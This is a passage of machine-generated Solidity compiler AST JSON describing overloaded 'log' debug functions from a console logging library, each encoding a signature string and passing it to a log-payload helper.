ocation":"66438:2:15","nodeType":"VariableDeclaration","scope":31493,"src":"66430:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31475,"name":"address","nodeType":"ElementaryTypeName","src":"66430:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31478,"mutability":"mutable","name":"p3","nameLocation":"66450:2:15","nodeType":"VariableDeclaration","scope":31493,"src":"66442:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31477,"name":"address","nodeType":"ElementaryTypeName","src":"66442:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"66408:45:15"},"returnParameters":{"id":31480,"nodeType":"ParameterList","parameters":[],"src":"66468:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31516,"nodeType":"FunctionDefinition","src":"66584:188:15","nodes":[],"body":{"id":31515,"nodeType":"Block","src":"66659:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e743235362c75696e7432353629","id":31507,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66709:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_be55348107f27daf63b48e87ab23840f2cbf20bdfa1dd4b92b4c2b337967fa25","typeString":"literal_string \"log(address,address,uint256,uint256)\""},"value":"log(address,address,uint256,uint256)"},{"id":31508,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31495,"src":"66749:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31509,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31497,"src":"66753:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31510,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31499,"src":"66757:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31511,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31501,"src":"66761:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_be55348107f27daf63b48e87ab23840f2cbf20bdfa1dd4b92b4c2b337967fa25","typeString":"literal_string \"log(address,address,uint256,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31505,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66685:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31506,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66689:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66685:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66685:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31504,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"66669:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66669:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31514,"nodeType":"ExpressionStatement","src":"66669:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66593:3:15","parameters":{"id":31502,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31495,"mutability":"mutable","name":"p0","nameLocation":"66605:2:15","nodeType":"VariableDeclaration","scope":31516,"src":"66597:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31494,"name":"address","nodeType":"ElementaryTypeName","src":"66597:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31497,"mutability":"mutable","name":"p1","nameLocation":"66617:2:15","nodeType":"VariableDeclaration","scope":31516,"src":"66609:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31496,"name":"address","nodeType":"ElementaryTypeName","src":"66609:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31499,"mutability":"mutable","name":"p2","nameLocation":"66629:2:15","nodeType":"VariableDeclaration","scope":31516,"src":"66621:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31498,"name":"uint256","nodeType":"ElementaryTypeName","src":"66621:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31501,"mutability":"mutable","name":"p3","nameLocation":"66641:2:15","nodeType":"VariableDeclaration","scope":31516,"src":"66633:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31500,"name":"uint256","nodeType":"ElementaryTypeName","src":"66633:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"66596:48:15"},"returnParameters":{"id":31503,"nodeType":"ParameterList","parameters":[],"src":"66659:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31539,"nodeType":"FunctionDefinition","src":"66778:193:15","nodes":[],"body":{"id":31538,"nodeType":"Block","src":"66859:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e743235362c737472696e6729","id":31530,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66909:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_fdb4f99053c71d9229026b69fabc5567b4324649a228ca0935bada4975f57343","typeString":"literal_string \"log(address,address,uint256,string)\""},"value":"log(address,address,uint256,string)"},{"id":31531,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31518,"src":"66948:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31532,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31520,"src":"66952:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31533,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31522,"src":"66956:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31534,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31524,"src":"66960:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fdb4f99053c71d9229026b69fabc5567b4324649a228ca0935bada4975f57343","typeString":"literal_string \"log(address,address,uint256,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31528,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66885:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31529,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66889:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66885:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66885:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31527,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"66869:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66869:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31537,"nodeType":"ExpressionStatement","src":"66869:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66787:3:15","parameters":{"id":31525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31518,"mutability":"mutable","name":"p0","nameLocation":"66799:2:15","nodeType":"VariableDeclaration","scope":31539,"src":"66791:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31517,"name":"address","nodeType":"ElementaryTypeName","src":"66791:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31520,"mutability":"mutable","name":"p1","nameLocation":"66811:2:15","nodeType":"VariableDeclaration","scope":31539,"src":"66803:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31519,"name":"address","nodeType":"ElementaryTypeName","src":"66803:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31522,"mutability":"mutable","name":"p2","nameLocation":"66823:2:15","nodeType":"VariableDeclaration","scope":31539,"src":"66815:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31521,"name":"uint256","nodeType":"ElementaryTypeName","src":"66815:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31524,"mutability":"mutable","name":"p3","nameLocation":"66841:2:15","nodeType":"VariableDeclaration","scope":31539,"src":"66827:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31523,"name":"string","nodeType":"ElementaryTypeName","src":"66827:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66790:54:15"},"returnParameters":{"id":31526,"nodeType":"ParameterList","parameters":[],"src":"66859:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31562,"nodeType":"FunctionDefinition","src":"66977:182:15","nodes":[],"body":{"id":31561,"nodeType":"Block","src":"67049:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e743235362c626f6f6c29","id":31553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"67099:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b4254e23753cb4c7d637e38638d109b03aeabf8705961d18d943c5bfa6672cd","typeString":"literal_string \"log(address,address,uint256,bool)\""},"value":"log(address,address,uint256,bool)"},{"id":31554,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31541,"src":"67136:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31555,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31543,"src":"67140:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31556,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31545,"src":"67144:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31557,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31547,"src":"67148:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9b4254e23753cb4c7d637e38638d109b03aeabf8705961d18d943c5bfa6672cd","typeString":"literal_string \"log(address,address,uint256,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31551,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"67075:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31552,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"67079:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"67075:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31558,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67075:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31550,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"67059:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31559,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67059:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31560,"nodeType":"ExpressionStatement","src":"67059:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66986:3:15","parameters":{"id":31548,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31541,"mutability":"mutable","name":"p0","nameLocation":"66998:2:15","nodeType":"VariableDeclaration","scope":31562,"src":"66990:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31540,"name":"address","nodeType":"ElementaryTypeName","src":"66990:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31543,"mutability":"mutable","name":"p1","nameLocation":"67010:2:15","nodeType":"VariableDeclaration","scope":31562,"src":"67002:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31542,"name":"address","nodeType":"ElementaryTypeName","src":"67002:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31545,"mutability":"mutable","name":"p2","nameLocation":"67022:2:15","nodeType":"VariableDeclaration","scope":31562,"src":"67014:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31544,"name":"uint256","nodeType":"ElementaryTypeName","src":"67014:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31547,"mutability":"mutable","name":"p3","nameLocation":"67031:2:15","nodeType":"VariableDeclaration","scope":31562,"src":"67026:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31546,"name":"bool","nodeType":"ElementaryTypeName","src":"67026:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"66989:45:15"},"returnParameters":{"id":31549,"nodeType":"ParameterList","parameters":[],"src":"67049:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31585,"nodeType":"FunctionDefinition","src":"67165:188:15","nodes":[],"body":{"id":31584,"nodeType":"Block","src":"67240:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e743235362c6164647265737329","id":31576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"67290:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8da6def55c582f2ce59d561e896a66e570478eda5169747a6ea3575cfa60d28b","typeString":"literal_string \"log(address,address,uint256,address)\""},"value":"log(address,address,uint256,address)"},{"id":31577,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31564,"src":"67330:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31578,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31566,"src":"67334:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31579,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31568,"src":"67338:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":31580,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31570,"src":"67342:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8da6def55c582f2ce59d561e896a66e570478eda5169747a6ea3575cfa60d28b","typeString":"literal_string \"log(address,address,uint256,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31574,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"67266:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31575,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"67270:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"67266:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67266:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31573,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"67250:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31582,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67250:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31583,"nodeType":"ExpressionStatement","src":"67250:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67174:3:15","parameters":{"id":31571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31564,"mutability":"mutable","name":"p0","nameLocation":"67186:2:15","nodeType":"VariableDeclaration","scope":31585,"src":"67178:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31563,"name":"address","nodeType":"ElementaryTypeName","src":"67178:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31566,"mutability":"mutable","name":"p1","nameLocation":"67198:2:15","nodeType":"VariableDeclaration","scope":31585,"src":"67190:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31565,"name":"address","nodeType":"ElementaryTypeName","src":"67190:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31568,"mutability":"mutable","name":"p2","nameLocation":"67210:2:15","nodeType":"VariableDeclaration","scope":31585,"src":"67202:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31567,"name":"uint256","nodeType":"ElementaryTypeName","src":"67202:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":31570,"mutability":"mutable","name":"p3","nameLocation":"67222:2:15","nodeType":"VariableDeclaration","scope":31585,"src":"67214:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31569,"name":"address","nodeType":"ElementaryTypeName","src":"67214:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67177:48:15"},"returnParameters":{"id":31572,"nodeType":"ParameterList","parameters":[],"src":"67240:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31608,"nodeType":"FunctionDefinition","src":"67359:193:15","nodes":[],"body":{"id":31607,"nodeType":"Block","src":"67440:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c75696e7432353629","id":31599,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"67490:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ef1cefe7e092dcc5b0ed6bc72a78756f9c352fc002139efb9b181c734d5d45d5","typeString":"literal_string \"log(address,address,string,uint256)\""},"value":"log(address,address,string,uint256)"},{"id":31600,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31587,"src":"67529:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31601,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31589,"src":"67533:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31602,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31591,"src":"67537:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31603,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31593,"src":"67541:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ef1cefe7e092dcc5b0ed6bc72a78756f9c352fc002139efb9b181c734d5d45d5","typeString":"literal_string \"log(address,address,string,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31597,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"67466:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31598,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"67470:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"67466:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67466:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31596,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"67450:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67450:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31606,"nodeType":"ExpressionStatement","src":"67450:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67368:3:15","parameters":{"id":31594,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31587,"mutability":"mutable","name":"p0","nameLocation":"67380:2:15","nodeType":"VariableDeclaration","scope":31608,"src":"67372:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31586,"name":"address","nodeType":"ElementaryTypeName","src":"67372:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31589,"mutability":"mutable","name":"p1","nameLocation":"67392:2:15","nodeType":"VariableDeclaration","scope":31608,"src":"67384:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31588,"name":"address","nodeType":"ElementaryTypeName","src":"67384:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31591,"mutability":"mutable","name":"p2","nameLocation":"67410:2:15","nodeType":"VariableDeclaration","scope":31608,"src":"67396:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31590,"name":"string","nodeType":"ElementaryTypeName","src":"67396:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31593,"mutability":"mutable","name":"p3","nameLocation":"67422:2:15","nodeType":"VariableDeclaration","scope":31608,"src":"67414:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31592,"name":"uint256","nodeType":"ElementaryTypeName","src":"67414:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"67371:54:15"},"returnParameters":{"id":31595,"nodeType":"ParameterList","parameters":[],"src":"67440:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31631,"nodeType":"FunctionDefinition","src":"67558:198:15","nodes":[],"body":{"id":31630,"nodeType":"Block","src":"67645:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c737472696e6729","id":31622,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"67695:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_21bdaf25c85279ffda21e4e2b9f685ff585c62a37c0ebe7ae25670fd06df3aa1","typeString":"literal_string \"log(address,address,string,string)\""},"value":"log(address,address,string,string)"},{"id":31623,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31610,"src":"67733:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31624,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31612,"src":"67737:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31625,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31614,"src":"67741:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31626,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31616,"src":"67745:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_21bdaf25c85279ffda21e4e2b9f685ff585c62a37c0ebe7ae25670fd06df3aa1","typeString":"literal_string 